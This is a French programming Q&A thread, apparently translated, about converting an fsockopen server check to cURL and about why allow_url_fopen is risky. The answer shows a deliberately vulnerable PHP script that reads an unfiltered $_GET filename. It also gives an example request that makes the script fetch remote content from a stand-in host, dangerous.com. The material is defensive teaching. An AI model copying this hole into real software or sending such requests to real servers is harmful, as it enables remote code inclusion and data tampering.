2013-05-14 2 views
0

Salut tout ce que j'ai un code qui est en cours d'exécution à travers une boucle foreach:Conversion fonction fsockopen() à utiliser cURL

 if($fp = @fsockopen($value['privateip'],1935,$errCode,$errStr,.5)){ 
      $value['alive'] = 'alive'; 
     } else { 
      $value['alive'] = 'down'; 
     } 
     @fclose($fp); 

Il pings essentiellement mes serveurs sur le port 1935, puis modifie la valeur dans un tableau. J'ai lu les fonctions du fichier php sont dangereux si l'injection de code se produit donc ils seraient probablement mieux désactivé. Comment puis-je changer ce code pour utiliser cURL à la place?

+0

Avez-vous essayé quelque chose .. ?? Jetez un coup d'oeil ici, il est très difficile: http://www.php.net/manual/fr/function.curl-exec.php – MatRt

+0

Êtes-vous confus '' fsockopen' avec fopen'? Je pense que cet article vient de dire que l'utilisation de 'fopen' quand' allow_url_fopen' était risquée. Cependant, si vos codes sont écrits correctement, il n'y a aucun risque. – mpyw

+0

J'avais l'impression que par la désactivation allow_url_open il fsockopen également désactivé? – slick1537

Répondre

0

Jetez un oeil à ce code:

<?php 

$filename = @$_GET['filename']; 

$fp = fopen($filename,'r'); 
$buffer = ''; 
while (!feof($fp)) { 
    $buffer .= fgets($fp,2048);  
} 
fclose($fp); 

$fp = fopen('something_very_important_data.txt','a'); 
fwrite($fp,$buffer); 
fclose($fp); 

lorsque vous recevez une demande, comme:

http://www.yourserver.com/your_script.php?filename=http%3A%2F%2Fdangerous.com%2Fdangerous_code.txt 

valeur $filename sera comme:

$filename = 'http://dangerous.com/dangerous_code.txt'; 

Si allow_url_fopen est réglé sur, cela fonctionne.
Comme vous le savez peut-être, ce qui est très dangereux.
Pour éviter ce problème, définissez allow_url_fopen off, ou complètement filtrer $_GET, $_POST et ainsi de suite.